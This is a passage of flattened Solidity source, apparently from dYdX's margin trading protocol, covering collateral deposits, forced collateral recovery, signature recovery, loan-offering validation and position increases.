)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
// File: contracts/margin/interfaces/owner/DepositCollateralDelegator.sol
/**
* @title DepositCollateralDelegator
* @author dYdX
*
* Interface that smart contracts must implement in order to let other addresses deposit heldTokens
* into a position owned by the smart contract.
*
* NOTE: Any contract implementing this interface should also use OnlyMargin to control access
* to these functions
*/
interface DepositCollateralDelegator {
// ============ Public Interface functions ============
/**
* Function a contract must implement in order to let other addresses call depositCollateral().
*
* @param depositor Address of the caller of the depositCollateral() function
* @param positionId Unique ID of the position
* @param amount Requested deposit amount
* @return This address to accept, a different address to ask that contract
*/
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
/* onlyMargin */
returns (address);
}
// File: contracts/margin/impl/DepositCollateralImpl.sol
/**
* @title DepositCollateralImpl
* @author dYdX
*
* This library contains the implementation for the deposit function of Margin
*/
library DepositCollateralImpl {
using SafeMath for uint256;
// ============ Events ============
/**
* Additional collateral for a position was posted by the owner
*/
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
/**
* A margin call was canceled
*/
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
// ============ Public Implementation Functions ============
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
// Ensure owner consent
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
// cancel margin call if applicable
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
// ============ Private Helper-Functions ============
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
// no need to ask for permission
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
// if not equal, recurse
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
// File: contracts/margin/interfaces/lender/ForceRecoverCollateralDelegator.sol
/**
* @title ForceRecoverCollateralDelegator
* @author dYdX
*
* Interface that smart contracts must implement in order to let other addresses
* forceRecoverCollateral() a loan owned by the smart contract.
*
* NOTE: Any contract implementing this interface should also use OnlyMargin to control access
* to these functions
*/
interface ForceRecoverCollateralDelegator {
// ============ Public Interface functions ============
/**
* Function a contract must implement in order to let other addresses call
* forceRecoverCollateral().
*
* NOTE: If not returning zero address (or not reverting), this contract must assume that Margin
* will either revert the entire transaction or that the collateral was forcibly recovered.
*
* @param recoverer Address of the caller of the forceRecoverCollateral() function
* @param positionId Unique ID of the position
* @param recipient Address to send the recovered tokens to
* @return This address to accept, a different address to ask that contract
*/
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
/* onlyMargin */
returns (address);
}
// File: contracts/margin/impl/ForceRecoverCollateralImpl.sol
/* solium-disable-next-line max-len*/
/**
* @title ForceRecoverCollateralImpl
* @author dYdX
*
* This library contains the implementation for the forceRecoverCollateral function of Margin
*/
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
// ============ Events ============
/**
* Collateral for a position was forcibly recovered
*/
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
// ============ Public Implementation Functions ============
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
// Can only force recover after either:
// 1) The loan was called and the call period has elapsed
// 2) The maxDuration of the position has elapsed
require( /* solium-disable-next-line */
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
// Ensure lender consent
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
// Send the tokens
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
// Delete the position
// NOTE: Since position is a storage pointer, this will also set all fields on
// the position variable to 0
MarginCommon.cleanupPosition(
state,
positionId
);
// Log an event
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
// ============ Private Helper-Functions ============
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
// no need to ask for permission
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
// File: contracts/lib/TypedSignature.sol
/**
* @title TypedSignature
* @author dYdX
*
* Allows for ecrecovery of signed hashes with three different prepended messages:
* 1) ""
* 2) "\x19Ethereum Signed Message:\n32"
* 3) "\x19Ethereum Signed Message:\n\x20"
*/
library TypedSignature {
// Solidity does not offer guarantees about enum values, so we define them explicitly
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
// prepended message with the length of the signed hash in hexadecimal
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
// prepended message with the length of the signed hash in decimal
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
/**
* Gives the address of the signer of a hash. Allows for three common prepended strings.
*
* @param hash Hash that was signed (does not include prepended message)
* @param signatureWithType Type and ECDSA signature with structure: {1:type}{1:v}{32:r}{32:s}
* @return address of the signer of the hash
*/
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
/* solium-disable-next-line security/no-inline-assembly */
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
// File: contracts/margin/interfaces/LoanOfferingVerifier.sol
/**
* @title LoanOfferingVerifier
* @author dYdX
*
* Interface that smart contracts must implement to be able to make off-chain generated
* loan offerings.
*
* NOTE: Any contract implementing this interface should also use OnlyMargin to control access
* to these functions
*/
interface LoanOfferingVerifier {
/**
* Function a smart contract must implement to be able to consent to a loan. The loan offering
* will be generated off-chain. The "loan owner" address will own the loan-side of the resulting
* position.
*
* If true is returned, and no errors are thrown by the Margin contract, the loan will have
* occurred. This means that verifyLoanOffering can also be used to update internal contract
* state on a loan.
*
* @param addresses Array of addresses:
*
* [0] = owedToken
* [1] = heldToken
* [2] = loan payer
* [3] = loan owner
* [4] = loan taker
* [5] = loan positionOwner
* [6] = loan fee recipient
* [7] = loan lender fee token
* [8] = loan taker fee token
*
* @param values256 Values corresponding to:
*
* [0] = loan maximum amount
* [1] = loan minimum amount
* [2] = loan minimum heldToken
* [3] = loan lender fee
* [4] = loan taker fee
* [5] = loan expiration timestamp (in seconds)
* [6] = loan salt
*
* @param values32 Values corresponding to:
*
* [0] = loan call time limit (in seconds)
* [1] = loan maxDuration (in seconds)
* [2] = loan interest rate (annual nominal percentage times 10**6)
* [3] = loan interest update period (in seconds)
*
* @param positionId Unique ID of the position
* @param signature Arbitrary bytes; may or may not be an ECDSA signature
* @return This address to accept, a different address to ask that contract
*/
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
/* onlyMargin */
returns (address);
}
// File: contracts/margin/impl/BorrowShared.sol
/**
* @title BorrowShared
* @author dYdX
*
* This library contains shared functionality between OpenPositionImpl and IncreasePositionImpl.
* Both use a Loan Offering and a DEX Order to open or increase a position.
*/
library BorrowShared {
using SafeMath for uint256;
// ============ Structs ============
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
// ============ Internal Implementation Functions ============
/**
* Validate the transaction before exchanging heldToken for owedToken
*/
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
// If the taker is 0x0 then any address can take it. Otherwise only the taker can use it.
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
// If the positionOwner is 0x0 then any address can be set as the position owner.
// Otherwise only the specified positionOwner can be set as the position owner.
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
// Require the loan offering to be approved by the payer
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
// Validate the amount is <= than max and >= min
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
// The minimum heldToken is validated after executing the sell
// Position and loan ownership is validated in TransferInternal
}
/**
* Validate the transaction after exchanging heldToken for owedToken, pay out fees, and store
* how much of the loan was used.
*/
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
// Transfer feeTokens from trader and lender
transferLoanFees(state, transaction);
// Update global amounts for the loan
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
/**
* Sells the owedToken from the lender (and from the deposit if in owedToken) using the
* exchangeWrapper, then puts the resulting heldToken into the vault. Only trades for
* maxHeldTokenToBuy of heldTokens at most.
*/
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
// Move owedTokens from lender to exchange wrapper
pullOwedTokensFromLender(state, transaction);
// Sell just the lender's owedToken (if trader deposit is in heldToken)
// Otherwise sell both the lender's owedToken and the trader's deposit in owedToken
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
// Do the trade, taking only the maxHeldTokenToBuy if more is returned
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
// Move the tokens to the vault
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
// Update collateral amount
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
/**
* Take the owedToken deposit from the trader and give it to the exchange wrapper so that it can
* be sold for heldToken.
*/
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
/**
* Take the heldToken deposit from the trader and move it to the vault.
*/
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
// Update collateral amount
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
// ============ Private Helper-Functions ============
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
// Transfer owedToken to the exchange wrapper
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
// 0 fee address indicates no fees
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
// File: contracts/margin/interfaces/lender/IncreaseLoanDelegator.sol
/**
* @title IncreaseLoanDelegator
* @author dYdX
*
* Interface that smart contracts must implement in order to own loans on behalf of other accounts.
*
* NOTE: Any contract implementing this interface should also use OnlyMargin to control access
* to these functions
*/
interface IncreaseLoanDelegator {
// ============ Public Interface functions ============
/**
* Function a contract must implement in order to allow additional value to be added onto
* an owned loan. Margin will call this on the owner of a loan during increasePosition().
*
* NOTE: If not returning zero (or not reverting), this contract must assume that Margin will
* either revert the entire transaction or that the loan size was successfully increased.
*
* @param payer Lender adding additional funds to the position
* @param positionId Unique ID of the position
* @param principalAdded Principal amount to be added to the position
* @param lentAmount Amount of owedToken lent by the lender (principal plus interest, or
* zero if increaseWithoutCounterparty() is used).
* @return This address to accept, a different address to ask that contract
*/
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
/* onlyMargin */
returns (address);
}
// File: contracts/margin/interfaces/owner/IncreasePositionDelegator.sol
/**
* @title IncreasePositionDelegator
* @author dYdX
*
* Interface that smart contracts must implement in order to own position on behalf of other
* accounts
*
* NOTE: Any contract implementing this interface should also use OnlyMargin to control access
* to these functions
*/
interface IncreasePositionDelegator {
// ============ Public Interface functions ============
/**
* Function a contract must implement in order to allow additional value to be added onto
* an owned position. Margin will call this on the owner of a position during increasePosition()
*
* NOTE: If not returning zero (or not reverting), this contract must assume that Margin will
* either revert the entire transaction or that the position size was successfully increased.
*
* @param trader Address initiating the addition of funds to the position
* @param positionId Unique ID of the position
* @param principalAdded Amount of principal to be added to the position
* @return This address to accept, a different address to ask that contract
*/
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
/* onlyMargin */
returns (address);
}
// File: contracts/margin/impl/IncreasePositionImpl.sol
/**
* @title IncreasePositionImpl
* @author dYdX
*
* This library contains the implementation for the increasePosition function of Margin
*/
library IncreasePositionImpl {
using SafeMath for uint256;
// ============ Events ============
/*
* A position was increased
*/
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
// ============ Public Implementation Functions ============
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
// Also ensures that the position exists
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
// LOG EVENT
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
// Disallow adding 0 principal
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
// Disallow additions after maximum duration
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0, // lent amount
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
// ============ Private Helper-Functions ============
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
// Calculate the number of heldTokens to add
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
// Do pre-exchange validations
BorrowShared.validateTxPreSell(state, transaction);
// Calculate and deposit owedToken
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
// Sell owedToken for heldToken using the exchange wrapper
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
// Calculate and deposit heldToken
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
// Make sure the actual added collateral is what is expected
assert(transaction.collateralAmount == collateralToAdd);
// Do post-exchange validations
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
// require the position to end no later than the loanOffering's maximum acceptable end time
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
// Ensure owner consent
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
// Ensure lender consent
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
// Assume owner approval if not a smart contract and they increased their own position
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
// Assume lender approval if not a smart contract and they increased their own loan
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
// ============ Parsing Functions ============
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0, // set later
collateralAmount: 0, // set later
heldTokenFromSell: 0 // set later
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
// File: contracts/margin/impl/MarginStorage.sol
/**
* @title MarginStorage
* @author dYdX
*
* This contract serves as the storage for the entire state of MarginStorage
*/
contract MarginStorage {
MarginState.State state;
}
// File: contracts/margin/impl/LoanGetters.sol
/**
* @title LoanGetters
* @author dYdX
*
* A collection of public constant getter functions that allows reading of the state of any loan
* offering stored in the dYdX protocol.
*/
contract LoanGetters is MarginStorage {
// ============ Public Constant Functions ============
/**
* Gets the principal amount of a loan offering that is no longer available.
*
* @param loanHash Unique hash of the loan offering
* @return The total unavailable amount of the loan offering, which is equal to the
* filled amount plus the canceled amount.
*/
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
/**
* Gets the total amount of owed token lent for a loan.
*
* @param loanHash Unique hash of the loan offering
* @return The total filled amount of the loan offering.
*/
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
/**
* Gets the amount of a loan offering that has been canceled.
*
* @param loanHash Unique hash of the loan offering
* @return The total canceled amount of the loan offering.
*/
function getLoanCanceledAmount(
